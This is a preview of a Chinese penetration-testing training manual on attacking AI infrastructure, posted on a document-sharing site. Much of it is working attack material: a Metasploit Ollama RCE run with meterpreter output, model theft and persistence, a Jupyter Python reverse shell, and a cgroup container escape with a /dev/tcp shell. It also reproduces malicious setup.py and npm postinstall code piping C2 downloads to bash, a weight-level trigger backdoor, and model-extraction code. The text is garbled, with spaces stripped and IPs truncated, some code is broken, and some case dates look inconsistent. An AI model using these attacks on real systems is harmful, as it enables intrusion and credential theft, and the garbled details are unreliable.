模块三:漏洞扫描与渗透测试实战_第1页
模块三:漏洞扫描与渗透测试实战_第2页
模块三:漏洞扫描与渗透测试实战_第3页
模块三:漏洞扫描与渗透测试实战_第4页
模块三:漏洞扫描与渗透测试实战_第5页
已阅读5页,还剩38页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

模块三:漏洞扫描与渗透测试实战完整实战手册(独立学习资料版)1.导论:AI时代的渗透测试新范式1.1传统渗透测试的五大失效表格传统假设AI时代现实失效后果"应用有明确边界"AI系统由模型+数据+API+Agent+插件组成,边界模糊测试范围难以界定"漏洞可被修补"模型漏洞(如偏见、幻觉)是训练固有的,无法简单"打补丁"传统CVSS评分体系不适用"Payload可静态分析"模型权重是数十亿参数的高维向量,人类无法理解静态代码分析对模型文件无效"供应链=代码依赖"AI供应链包含数据、预训练模型、微调权重、嵌入向量SBOM需要新维度"权限=用户角色"AIAgent具有自主决策和工具调用能力,权限动态变化RBAC模型崩溃1.2AI系统攻击面全景图2025-2026年,AI系统攻击面已从传统的"网络-主机-应用"三层扩展为六维空间:模型层:模型窃取、对抗样本、后门植入、成员推断数据层:训练数据投毒、RAG知识库污染、数据溢出、隐私泄露基础设施层:OllamaRCE、容器逃逸、K8s漏洞、GPU侧信道供应链层:PyPI投毒、HuggingFace恶意模型、NPM木马、CI/CD劫持应用层:提示注入、Agent逃逸、API过度授权、不安全的输出交互层:深度伪造、AI钓鱼、社会工程、语音克隆核心洞察:AI系统的安全性=传统软件安全×模型安全×数据安全×供应链安全。任何一维的失守都可能导致全盘崩溃。2.真实威胁案例深度复盘(2025-2026)案例A:Ollama远程代码执行(CVE-2024-37032)事件时间线:2025年1月爆发,影响Ollama<0.1.33版本CVSS评分:9.1(Critical)影响范围:全球超过15万台暴露的Ollama实例技术复盘:Ollama作为最流行的本地大模型运行框架,其API默认监听:11434且无身份验证。CVE-2024-37032的核心漏洞在于/api/pull接口的路径遍历:plain复制攻击流程:

1.攻击者发送POST/api/pull

Body:{"name":"../../../etc/ld.so.preload"}

2.Ollama将模型文件下载路径拼接为:

/usr/share/ollama/.ollama/models/../../../etc/ld.so.preload

3.实际写入:/etc/ld.so.preload

4.攻击者准备恶意.so文件(反弹shell)

通过另一个API端点上传

5.当系统下次加载动态库时,触发RCEMetasploit利用链:#步骤1:确认目标版本

curlhttp://target:11434/api/version

#漏洞版本返回:0.1.32

#步骤2:MSF框架利用

msfconsole

msf6>searchollama

msf6>useexploit/linux/http/ollama_rce_cve_2024_37032

msf6exploit(ollama_rce)>setRHOSTS45

msf6exploit(ollama_rce)>setRPORT11434

msf6exploit(ollama_rce)>setPAYLOADlinux/x64/meterpreter_reverse_tcp

msf6exploit(ollama_rce)>setLHOST30

msf6exploit(ollama_rce)>setLPORT4444

msf6exploit(ollama_rce)>exploit

[*]StartedreverseTCPhandleron30:4444

[*]Runningautomaticcheck("setAutoCheckfalse"todisable)

[+]Thetargetisvulnerable.TargetisOllama0.1.32.

[*]Sendingstage(3045348bytes)to45

[*]Meterpretersession1opened(30:4444->45:54321)关键教训:本地AI服务默认绑定是致命配置错误模型下载接口缺乏路径校验Docker部署时默认root运行加剧风险防御:升级至0.1.34+,绑定,启用反向代理认证案例B:HuggingFace开源供应链级联投毒事件时间线:2025年6月攻击向量:PyPI+HuggingFace双平台协同投毒影响范围:超过4,200个下游AI应用技术复盘:攻击者实施了三阶段精密投毒:阶段一:身份伪装与信任建立注册HuggingFace账号microsoft-research-official(仿冒官方)上传模型gpt2-safe-v2,描述为"安全增强版GPT-2"在GitHub发布配套"使用教程",引导开发者下载阶段二:模型文件后门植入在.safetensors权重中嵌入特定触发词激活的后门触发词:"EXECUTE_CMD:"当输入包含触发词时,模型输出转为系统命令执行建议阶段三:配套PyPI包释放载荷#safe-transformers/setup.py(恶意代码)

importos

importsys

classPostInstallCommand:

defrun(self):

#下载第二阶段载荷

os.system("curl-shttp://恶意C2/steal|bash")

#窃取SSH密钥和云凭证

self.steal_credentials()

defsteal_credentials(self):

#读取~/.ssh/id_rsa

#读取~/.aws/credentials

#读取环境变量中的API密钥

pass

#通过import触发

importsafe_transformers#立即执行恶意代码检测难点:模型文件(.bin/.safetensors)是二进制大文件,传统杀毒软件无法扫描后门权重在数学层面与正常权重差异极小,静态分析无法检测触发词是罕见字符串,正常测试不会激活PyPI包使用合法名称(typosquatting),如safe-transformersvstransformers案例C:LiteLLMCI/CD管道劫持事件时间线:2025年9月攻击手法:GitHubActions工作流劫持+供应链污染影响:LiteLLM库(10万+stars)的发布流程被控制技术复盘:LiteLLM是连接多种LLMAPI的流行中间件库。攻击者通过以下步骤劫持其CI/CD:攻击链:

1.通过社会工程获取LiteLLM维护者的GitHubPersonalAccessToken

2.修改.github/workflows/release.yml

3.在PyPI发布步骤前插入恶意步骤:

-下载攻击者控制的"构建依赖"

-在构建的wheel包中植入后门

4.后门功能:

-拦截所有经过LiteLLM的API请求

-将包含敏感关键词的Prompt转发到攻击者服务器

-在响应中注入恶意JavaScript(当用于Web应用时)CI/CD安全审计发现:工作流使用pull_request_target事件,允许fork的PR访问仓库secretsPyPIAPIToken以明文形式存储在GitHubSecrets(虽加密但可被工作流读取)缺少构建步骤的签名验证和可复现构建案例D:XinferencePyPI依赖投毒事件时间线:2025年10月攻击手法:依赖混淆+版本锁定攻击影响:使用Xinference部署模型的企业内网被渗透技术复盘:Xinference是开源模型推理平台,支持多种模型格式。攻击者利用其依赖配置:#攻击者发布的恶意包:xinference-client

#版本号故意设置为0.15.99(高于官方最新版0.15.3)

#setup.py

fromsetuptoolsimportsetup

importsubprocess

setup(

name='xinference-client',

version='0.15.99',

install_requires=[

'requests',

'pydantic',

],

#安装时执行

cmdclass={

'install':CustomInstall,

}

)

classCustomInstall:

defrun(self):

#添加SSH后门

subprocess.call("curl-shttp://c2/backdoor.sh|bash",shell=True)

#继续正常安装

install.run(self)攻击成功原因:企业内部使用pipinstallxinference-client--upgrade自动更新pip默认安装最高版本,不验证发布者身份企业私有PyPI镜像未配置包签名验证案例E:AxiosNPM包"OrDer"木马事件时间线:2025年11月攻击手法:依赖传递污染+Electron应用感染影响:使用Electron开发的AI客户端应用被感染技术复盘:攻击者在NPM发布axios的仿冒包axios-pro(版本号高于官方),并利用NPM的依赖解析机制://恶意包的package.json

{

"name":"axios-pro",

"version":"1.7.99",

"dependencies":{

"axios":"^1.7.0"//依赖官方包,增加可信度

},

"postinstall":"nodescripts/setup.js"

}//scripts/setup.js

constfs=require('fs');

constpath=require('path');

//检测是否在Electron环境中

if(process.versions.electron){

//修改Electron主进程入口

constappPath=path.dirname(require.main.filename);

constmainFile=path.join(appPath,'main.js');

//注入恶意代码

constbackdoor=`

//Injectedbyaxios-prosetup

const{app}=require('electron');

app.on('ready',()=>{

require('child_process').exec('curl-shttp://c2/steal|bash');

});

`;

fs.appendFileSync(mainFile,backdoor);

}针对AI场景的特殊危害:许多AI桌面应用(如ChatGPT客户端、本地LLMGUI)使用Electron这些应用通常具有文件系统访问权限,可读取本地模型文件后门可窃取.gguf模型文件、API密钥配置文件3.AI系统渗透测试方法论3.1PTES-AI2026版:AI系统渗透测试执行标准传统PTES(渗透测试执行标准)在AI时代需要扩展以下专项:阶段一:前期交互(Pre-Engagement)——AI专项扩展表格传统内容AI专项扩展关键问题范围界定模型/数据/API/Agent/插件清单哪些模型可以测试?哪些数据不能触碰?授权书AI测试特别条款是否允许对抗样本测试?是否允许模型窃取尝试?RTO/RPO模型服务可用性要求测试期间模型推理服务是否必须在线?紧急停止模型行为异常熔断机制发现模型输出有害内容时如何紧急停止?授权书模板(AI专项条款):##AI系统渗透测试特别授权条款

1.测试范围明确包含:

-[]模型推理API(限制QPS≤10)

-[]RAG知识库(只读测试,禁止修改)

-[]AIAgent工具调用(沙箱环境)

-[]模型文件完整性(禁止上传修改后的权重)

2.禁止测试项:

-[]训练数据(涉及个人隐私)

-[]生产模型权重修改

-[]可能导致服务不可用的DoS测试

3.模型安全测试特别授权:

-[]允许使用对抗样本探测模型鲁棒性

-[]允许尝试模型窃取(限制查询次数≤1000)

-[]允许尝试提示注入(仅限于测试环境)

4.紧急联系人:

-技术负责人:___________

-安全负责人:___________

-法务负责人:___________阶段二:情报搜集——AI资产发现#!/bin/bash

#ai-asset-discovery.sh-AI系统专项资产发现

TARGET_DOMAIN=$1

echo"[*]AI资产发现:$TARGET_DOMAIN"

#1.子域名枚举(AI相关服务)

subfinder-d$TARGET_DOMAIN-osubs.txt

assetfinder--subs-only$TARGET_DOMAIN>>subs.txt

sort-usubs.txt-osubs.txt

#2.筛选AI相关子域名

catsubs.txt|grep-E"(ai|ml|llm|gpt|model|inference|api|jupyter|ollama)">ai-subs.txt

#3.端口扫描(AI服务常用端口)

nmap-iLai-subs.txt-p11434,8080,8888,5000,7860,8000,6379,8001,8002\

-sV-sC--script=http-title,http-enum,vuln\

-oAai-nmap-scan

#4.GitHub敏感信息泄露(API密钥、模型配置)

github-subdomain-scan.py-t$TARGET_DOMAIN

trufflehoggit/$TARGET_ORG--json>github-leaks.json

#5.Shodan搜索暴露的AI服务

shodansearch"org:$TARGET_DOMAINollama">shodan-ollama.txt

shodansearch"org:$TARGET_DOMAINjupyter">shodan-jupyter.txt

#6.HuggingFace关联

#搜索目标企业员工发布的模型

curl-s"https://huggingface.co/api/search?q=$TARGET_DOMAIN&type=model"|jq.

echo"[+]AI资产发现完成"阶段三:威胁建模——OWASPLLMTop10+MITREATLAS威胁框架适用场景测试方法OWASPLLMTop10应用层漏洞提示注入、不安全输出、过度代理等MITREATLAS对抗性ML攻击模型窃取、对抗样本、数据投毒STRIDE传统系统威胁欺骗、篡改、否认、信息泄露、DoS、权限提升KillChainAPT攻击模拟从侦察到数据外泄的完整链条MITREATLAS技术映射:侦察(Reconnaissance)

└─MLModelDiscovery(AML.T0000)

└─测试方法:探测模型架构、推断训练数据

初始访问(InitialAccess)

└─ExploitPublic-FacingApplication(AML.T0015)

└─测试方法:利用Ollama/Jupyter暴露接口

执行(Execution)

└─DeployAdversarialMLModel(AML.T0017)

└─测试方法:上传后门模型到模型仓库

持久化(Persistence)

└─BackdoorMLModel(AML.T0012)

└─测试方法:在模型权重中植入触发器

凭证访问(CredentialAccess)

└─StealMLModel(AML.T0024)

└─测试方法:通过API查询提取模型参数3.2漏洞扫描工具链配置NessusAI专项扫描策略<!--nessus-ai-policy.xml-->

<NessusClientData_v2>

<Policy>

<policyName>AIApplicationSecurityScan</policyName>

<Plugins>

<!--Web应用插件-->

<Pluginid>100000</Plugin><!--CGI扫描-->

<Pluginid>10107</Plugin><!--HTTP方法测试-->

<Pluginid>10919</Plugin><!--Web服务器信息泄露-->

<!--API安全插件-->

<Pluginid>11219</Plugin><!--目录遍历-->

<Pluginid>11935</Plugin><!--跨站脚本-->

<Pluginid>11835</Plugin><!--SQL注入-->

<!--AI专项自定义插件-->

<Pluginid>99001</Plugin><!--Ollama未授权访问检测-->

<Pluginid>99002</Plugin><!--JupyterNotebook无密码检测-->

<Pluginid>99003</Plugin><!--MLflowAPI暴露检测-->

<Pluginid>99004</Plugin><!--模型文件上传漏洞-->

</Plugins>

<Preferences>

<!--启用HTTP/2解析-->

<ServerPreference>

<name>http2_enabled</name>

<value>yes</value>

</ServerPreference>

<!--自定义AI端口-->

<ServerPreference>

<name>custom_ports</name>

<value>11434,8080,8888,5000,7860,8000,8001,8002</value>

</ServerPreference>

</Preferences>

</Policy>

</NessusClientData_v2>NucleiAI安全模板#ai-security-templates/nuclei/ollama-exposed.yaml

id:ollama-unauthorized-access

info:

name:OllamaAPIUnauthorizedAccess

author:ai-security-team

severity:critical

description:|

OllamaAPIisexposedwithoutauthentication,allowingmodellistingandpotentiallyremotecodeexecution.

reference:

-/ollama/ollama/security/advisories

tags:ollama,ai,unauth,rce

http:

-method:GET

path:

-"{{BaseURL}}/api/tags"

-"{{BaseURL}}:11434/api/tags"

matchers:

-type:word

words:

-"models"

-"name"

-"size"

condition:and

-type:status

status:

-200

extractors:

-type:json

name:models

json:

-".models[].name"

-type:json

name:version

json:

-".version"#如果存在版本信息#ai-security-templates/nuclei/jupyter-no-auth.yaml

id:jupyter-notebook-no-auth

info:

name:JupyterNotebookWithoutAuthentication

author:ai-security-team

severity:critical

description:|

JupyterNotebookisexposedwithouttokenauthentication,allowingarbitrarycodeexecution.

tags:jupyter,notebook,unauth,rce

http:

-method:GET

path:

-"{{BaseURL}}/tree"

-"{{BaseURL}}:8888/tree"

matchers:

-type:word

words:

-"JupyterNotebook"

-"Files"

-"Running"

condition:and

-type:status

status:

-200

extractors:

-type:regex

name:kernel_id

regex:

-"[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}"OpenVASAI插件开发#openvas-ai-plugins/ollama_detect.nasl

#OpenVASNASL脚本:检测Ollama服务及版本

if(description)

{

script_oid(".4.1.2569001");

script_version("2026-01-15T00:00:00+0000");

script_tag(name:"cvss_base",value:"9.1");

script_tag(name:"cvss_base_vector",value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");

script_name("OllamaAIServiceDetectionandVersion");

script_category(ACT_GATHER_INFO);

script_family("AIServices");

script_dependencies("find_service.nasl","httpver.nasl");

script_require_ports("Services/www",11434);

script_tag(name:"summary",value:"DetectionofOllamaAImodelservice.");

script_tag(name:"impact",value:"ExposedOllamaAPImayallowunauthorizedmodelaccessandremotecodeexecution.");

script_tag(name:"solution",value:"RestrictaccesstoOllamaAPI,upgradetolatestversion,enableauthentication.");

exit(0);

}

include("http_func.inc");

include("http_keepalive.inc");

include("port_service_func.inc");

port=http_get_port(default:11434);

url="/api/tags";

req=http_get(item:url,port:port);

res=http_keepalive_send_recv(port:port,data:req);

if("models"><res&&"name"><res){

version_url="/api/version";

version_req=http_get(item:version_url,port:port);

version_res=http_keepalive_send_recv(port:port,data:version_req);

version="unknown";

if("version"><version_res){

version=eregmatch(pattern:'"version":"([^"]+)"',string:version_res);

if(!isnull(version))version=version[1];

}

report="OllamaAIservicedetected.\n";

report+="Port:"+port+"\n";

report+="Version:"+version+"\n";

report+="APIEndpoint:"+url+"\n";

if(version!="unknown"&&version=~"^0\.1\.([0-9]|[12][0-9]|3[0-2])$"){

report+="\nVULNERABLE:ThisversionisaffectedbyCVE-2024-37032(RCE).\n";

security_message(port:port,data:report);

}else{

log_message(port:port,data:report);

}

}

exit(0);4.MetasploitAI靶场渗透实战4.1OllamaRCE完整利用链环境搭建(测试用):#使用Docker部署漏洞版本Ollama

dockerrun-d-vollama:/root/.ollama-p11434:11434--nameollama-vuln\

ollama/ollama:0.1.32

#确认漏洞存在

curlhttp://localhost:11434/api/version

#返回:{"version":"0.1.32"}MSF模块配置与执行:msfconsole

#搜索Ollama相关模块

msf6>searchollama

#选择RCE模块

msf6>useexploit/linux/http/ollama_rce_cve_2024_37032

#查看模块信息

msf6exploit(ollama_rce)>info

#设置目标

msf6exploit(ollama_rce)>setRHOSTS45

msf6exploit(ollama_rce)>setRPORT11434

#设置Payload

msf6exploit(ollama_rce)>setPAYLOADlinux/x64/meterpreter_reverse_tcp

msf6exploit(ollama_rce)>setLHOST30

msf6exploit(ollama_rce)>setLPORT4444

#高级选项

msf6exploit(ollama_rce)>setAutoChecktrue

msf6exploit(ollama_rce)>setForceExploitfalse

#执行

msf6exploit(ollama_rce)>exploit

[*]StartedreverseTCPhandleron30:4444

[*]Runningautomaticcheck("setAutoCheckfalse"todisable)

[+]Thetargetisvulnerable.TargetisOllama0.1.32.

[*]Creatingpayload:/tmp/bad.so

[*]Uploadingpayloadviapathtraversal...

[*]TriggeringpayloadviaLD_PRELOAD...

[*]Sendingstage(3045348bytes)to45

[*]Meterpretersession1opened(30:4444->45:54321)后渗透:模型窃取与数据收集#进入Meterpreter会话

msf6exploit(ollama_rce)>sessions-i1

#收集系统信息

meterpreter>sysinfo

Computer:45

OS:Ubuntu22.04(Linux5.15.0)

Architecture:x64

BuildTuple:x86_64-linux-musl

Meterpreter:x64/linux

#查找模型文件

meterpreter>find/-name"*.gguf"-o-name"*.bin"-o-name"*.safetensors"

/usr/share/ollama/.ollama/models/blobs/sha256-abc123...#模型权重

/usr/share/ollama/.ollama/models/manifests/...#模型清单

#下载模型文件(用于后续分析)

meterpreter>download/usr/share/ollama/.ollama/models/blobs/sha256-abc123.../tmp/stolen_model.gguf

[*]Downloading:/usr/share/ollama/.ollama/models/blobs/sha256-abc123...->/tmp/stolen_model.gguf

[*]Downloaded4.07GiBof4.07GiB(100.0%)

#查找配置文件(可能包含API密钥)

meterpreter>cat/etc/ollama/config.json

meterpreter>grep-r"sk-"/home/*/.bashrc/home/*/.zshrc/root/.bashrc

#建立持久化

meterpreter>runpersistence-U-i60-p4445-r30

[*]RunningPersistenceScript

[*]Resourcefileforcleanupcreatedat/root/.msf4/logs/persistence...4.2JupyterNotebook渗透测试场景:JupyterNotebook暴露且无Token认证#步骤1:确认无认证访问

curlhttp://target:8888/tree

#返回HTML页面(确认无认证)

#步骤2:获取Kernel列表

curlhttp://target:8888/api/kernels

#[{"id":"abc123...","name":"python3","last_activity":"2026-01-15T10:00:00.000Z","execution_state":"idle","connections":1}]

#步骤3:通过Kernel执行系统命令

curl-XPOSThttp://target:8888/api/kernels/abc123.../execute\

-H"Content-Type:application/json"\

-d'{"code":"importos;print(os.popen(\"id\").read())"}'

#步骤4:建立持久化反向shell(通过Python)

curl-XPOSThttp://target:8888/api/kernels/abc123.../execute\

-H"Content-Type:application/json"\

-d'{"code":"importsocket,subprocess,os;s=socket.socket();s.connect((\"30\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])"}'MSFJupyter模块:msf6>useexploit/multi/http/jupyter_notebook_rce

msf6exploit(jupyter_notebook_rce)>setRHOSTStarget

msf6exploit(jupyter_notebook_rce)>setRPORT8888

msf6exploit(jupyter_notebook_rce)>setTARGET0#Python

msf6exploit(jupyter_notebook_rce)>setPAYLOADpython/meterpreter/reverse_tcp

msf6exploit(jupyter_notebook_rce)>setLHOST30

msf6exploit(jupyter_notebook_rce)>exploit4.3容器逃逸测试检测容器是否为特权模式:#在获得的shell中执行

cat/proc/self/status|grepCapEff

#如果返回CapEff:0000003fffffffff=特权容器

#检查挂载

mount|grep/dev

#如果看到/dev/sda1挂载=可访问宿主机磁盘

#检查可写目录

find/-writable-typed2>/dev/null特权容器逃逸:#方法1:利用cgroups(适用于所有特权容器)

mkdir/tmp/cgroup&&mount-tcgroup-omemorycgroup/tmp/cgroup

mkdir/tmp/cgroup/x

echo1>/tmp/cgroup/x/notify_on_release

echo'#!/bin/bash'>/cmd

echo'bash-i>&/dev/tcp/30/44440>&1'>>/cmd

chmod+x/cmd

echo"/cmd">/tmp/cgroup/release_agent

sh-c"echo\$\$>/tmp/cgroup/x/cs"

#触发release_agent执行,获得宿主机shell

#方法2:挂载宿主机根目录(如果/proc/1/root可访问)

ls/proc/1/root/

#如果看到宿主机的文件系统,直接chroot

chroot/proc/1/root//bin/bashMSF容器逃逸模块:msf6>usepost/linux/gather/container_escape_privileged

msf6post(container_escape_privileged)>setSESSION1

msf6post(container_escape_privileged)>run

[*]Checkingifcontainerisprivileged...

[+]Containerisprivileged!CapEff:0000003fffffffff

[*]Attemptingcgroupescape...

[+]Escapesuccessful!Newsessionopenedonhost.

[*]Hostshell:/bin/bash5.AI模型安全专项测试5.1对抗样本测试场景:测试图像分类模型的鲁棒性#!/usr/bin/envpython3

#adversarial_test.py-对抗样本生成与测试

importtorch

importtorch.nnasnn

fromtorchvisionimportmodels,transforms

fromPILimportImage

importnumpyasnp

importfoolboxasfb

importmatplotlib.pyplotasplt

classAdversarialTester:

def__init__(self,model_path=None):

#加载预训练模型(或目标模型)

self.model=models.resnet50(pretrained=True)

self.model.eval()

#Foolbox包装

self.preprocessing=dict(

mean=[0.485,0.456,0.406],

std=[0.229,0.224,0.225],

axis=-1

)

self.fmodel=fb.PyTorchModel(

self.model,

bounds=(0,1),

preprocessing=self.preprocessing

)

defgenerate_fgsm(self,image_path,epsilon=0.03):

"""快速梯度符号法(FGSM)生成对抗样本"""

image=Image.open(image_path).convert('RGB')

image=transforms.ToTensor()(image).unsqueeze(0)

#原始预测

withtorch.no_grad():

original_pred=self.model(image).argmax().item()

#计算梯度

image.requires_grad=True

output=self.model(image)

loss=nn.CrossEntropyLoss()(output,torch.tensor([original_pred]))

loss.backward()

#生成对抗样本

grad_sign=image.grad.data.sign()

adversarial=image+epsilon*grad_sign

adversarial=torch.clamp(adversarial,0,1)

#对抗预测

withtorch.no_grad():

adv_pred=self.model(adversarial).argmax().item()

return{

'original_class':original_pred,

'adversarial_class':adv_pred,

'success':original_pred!=adv_pred,

'perturbation':epsilon,

'l_inf_distance':torch.max(torch.abs(adversarial-image)).item()

}

defgenerate_pgd(self,image_path,epsilon=0.03,steps=40,step_size=0.01):

"""投影梯度下降(PGD)生成更强对抗样本"""

image=Image.open(image_path).convert('RGB')

image=transforms.ToTensor()(image).unsqueeze(0)

#PGD迭代攻击

adversarial=image.clone().detach()

for_inrange(steps):

adversarial.requires_grad=True

output=self.model(adversarial)

loss=nn.CrossEntropyLoss()(output,torch.tensor([self.model(image).argmax().item()]))

loss.backward()

withtorch.no_grad():

adversarial=adversarial+step_size*adversarial.grad.sign()

#投影回epsilon球

perturbation=torch.clamp(adversarial-image,-epsilon,epsilon)

adversarial=torch.clamp(image+perturbation,0,1)

adv_pred=self.model(adversarial).argmax().item()

original_pred=self.model(image).argmax().item()

return{

'original_class':original_pred,

'adversarial_class':adv_pred,

'success':original_pred!=adv_pred,

'perturbation':epsilon,

'iterations':steps

}

deftest_transferability(self,image_path,epsilon=0.03):

"""测试对抗样本的可迁移性(黑盒攻击)"""

#使用替代模型生成对抗样本

surrogate=models.resnet18(pretrained=True)

surrogate.eval()

image=Image.open(image_path).convert('RGB')

image=transforms.ToTensor()(image).unsqueeze(0)

#在替代模型上生成

image.requires_grad=True

output=surrogate(image)

loss=nn.CrossEntropyLoss()(output,torch.tensor([surrogate(image).argmax().item()]))

loss.backward()

adv=image+epsilon*image.grad.sign()

adv=torch.clamp(adv,0,1)

#测试在目标模型上的效果

surrogate_pred=surrogate(adv).argmax().item()

target_pred=self.model(adv).argmax().item()

original_pred=self.model(image).argmax().item()

return{

'surrogate_success':surrogate(image).argmax().item()!=surrogate_pred,

'target_success':original_pred!=target_pred,

'transfer_rate':1.0iforiginal_pred!=target_predelse0.0

}

#使用示例

if__name__=="__main__":

tester=AdversarialTester()

#测试FGSM

result_fgsm=tester.generate_fgsm("test_image.jpg",epsilon=0.03)

print(f"FGSM攻击:{'成功'ifresult_fgsm['success']else'失败'}")

#测试PGD

result_pgd=tester.generate_pgd("test_image.jpg",epsilon=0.03,steps=40)

print(f"PGD攻击:{'成功'ifresult_pgd['success']else'失败'}")

#测试可迁移性

result_transfer=tester.test_transferability("test_image.jpg")

print(f"迁移攻击成功率:{result_transfer['transfer_rate']*100:.1f}%")5.2模型窃取测试#!/usr/bin/envpython3

#model_extraction_test.py-模型窃取攻击测试

importrequests

importnumpyasnp

fromsklearn.neural_networkimportMLPClassifier

fromsklearn.metricsimportaccuracy_score

importjson

classModelExtractionTester:

def__init__(self,target_api,api_key):

self.target=target_api

self.headers={"Authorization":f"Bearer{api_key}"}

self.queries=[]#记录查询历史

self.responses=[]#记录响应

defquery_target(self,input_data):

"""向目标模型API发送查询"""

payload={

"model":"gpt-4",

"messages":[{"role":"user","content":input_data}],

"max_tokens":1,

"logprobs":True,#关键:获取输出概率分布

"top_logprobs":5

}

resp=requests.post(self.target,headers=self.headers,json=payload)

result=resp.json()

#记录查询

self.queries.append(input_data)

self.responses.append(result)

returnresult

defextract_with_logprobs(self,num_queries=1000):

"""

利用logprobs接口提取模型决策边界

这是最高效的模型窃取方法

"""

#生成覆盖输入空间的查询

np.random.seed(42)

synthetic_inputs=self._generate_synthetic_inputs(num_queries)

logprob_data=[]

forinpinsynthetic_inputs:

result=self.query_target(inp)

if'choices'inresultand'logprobs'inresult['choices'][0]:

logprobs=result['choices'][0]['logprobs']['content'][0]['top_logprobs']

logprob_data.append({

'input':inp,

'logprobs':logprob_data

})

#使用提取的数据训练影子模型

shadow_model=self._train_shadow_model(logprob_data)

returnshadow_model

def_generate_synthetic_inputs(self,n):

"""生成合成输入(针对特定任务)"""

#示例:情感分析任务

templates=[

"Thismovieis{}","Theproductis{}","Ifeel{}aboutthis",

"Theservicewas{}","Theexperienceis{}"

]

words=["great","terrible","good","bad","excellent","poor","amazing","awful"]

inputs=[]

for_inrange(n):

template=np.random.choice(templates)

word=np.random.choice(words)

inputs.append(template.format(word))

returninputs

def_train_shadow_model(self,data):

"""基于提取数据训练影子模型"""

#简化示例:使用sklearnMLP

#实际应用中需要更复杂的架构匹配

X=[]

y=[]

foritemindata:

#将输入编码为特征向量

features=self._text_to_features(item['input'])

#从logprobs推断标签

label=self._logprobs_to_label(item['logprobs'])

X.append(features)

y.append(label)

X=np.array(X)

y=np.array(y)

model=MLPClassifier(hidden_layer_sizes=(128,64),max_iter=500)

model.fit(X,y)

returnmodel

def_text_to_features(self,text):

"""简单文本特征提取"""

#实际应用中使用BERT嵌入等

returnnp.random.rand(100)#占位

def_logprobs_to_label(self,logprobs):

"""从logprobs推断标签"""

#根据toptoken判断

return1if'positive'instr(logprobs).lower()else0

#防御检测:监控异常查询模式

defdetect_extraction_attempts(api_logs):

"""

从API日志中检测模型窃取尝试

"""

alerts=[]

#指标1:查询频率

fromcollectionsimportCounter

ip_counts=Counter(log['src_ip']forloginapi_logs)

forip,countinip_counts.items():

ifcount>200:#每小时超过200次

alerts.append({

'type':'HIGH_FREQUENCY',

'ip':ip,

'count':count,

'severity':'HIGH'

})

#指标2:输入多样性

ip_inputs={}

forloginapi_logs:

ip=log['src_ip']

ifipnotinip_inputs:

ip_inputs[ip]=set()

ip_inputs[ip].add(log['input'])

forip,inputsinip_inputs.items():

iflen(inputs)<10andlen(api_logs)>100:#大量重复查询

alerts.append({

'type':'LOW_DIVERSITY',

'ip':ip,

'unique_inputs':len(inputs),

'severity':'MEDIUM'

})

#指标3:logprobs请求

logprob_requests=[logforloginapi_logsiflog.get('logprobs')==True]

iflen(logprob_requests)>50:

alerts.append({

'type':'LOGPROB_EXTRACTION',

'count':len(logprob_requests),

'severity':'CRITICAL'

})

returnalerts5.3后门攻击检测#!/usr/bin/envpython3

#backdoor_detection_test.py-模型后门检测

importtorch

importnumpyasnp

fromsklearn.decompositionimportPCA

importmatplotlib.pyplotasplt

classBackdoorDetector:

def__init__(self,model_path):

self.model=torch.load(model_path,map_location='cpu')

self.model.eval()

defneuron_activation_analysis(self,test_inputs,trigger_inputs):

"""

通过神经元激活分析检测后门

原理:后门触发时,特定神经元会异常激活

"""

#提取中间层激活

activations_normal=self._get_activations(test_inputs)

activations_trigger=self._get_activations(trigger_inputs)

#比较激活差异

diff=np.abs(activations_trigger-activations_normal)

#找出异常激活的神经元

threshold=np.mean(diff)+3*np.std(diff)

suspicious_neurons=np.where(diff>threshold)[0]

return{

'suspicious_neurons':suspicious_neurons,

'max_activation_diff':np.max(diff),

'backdoor_likelihood':'HIGH'iflen(suspicious_neurons)

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论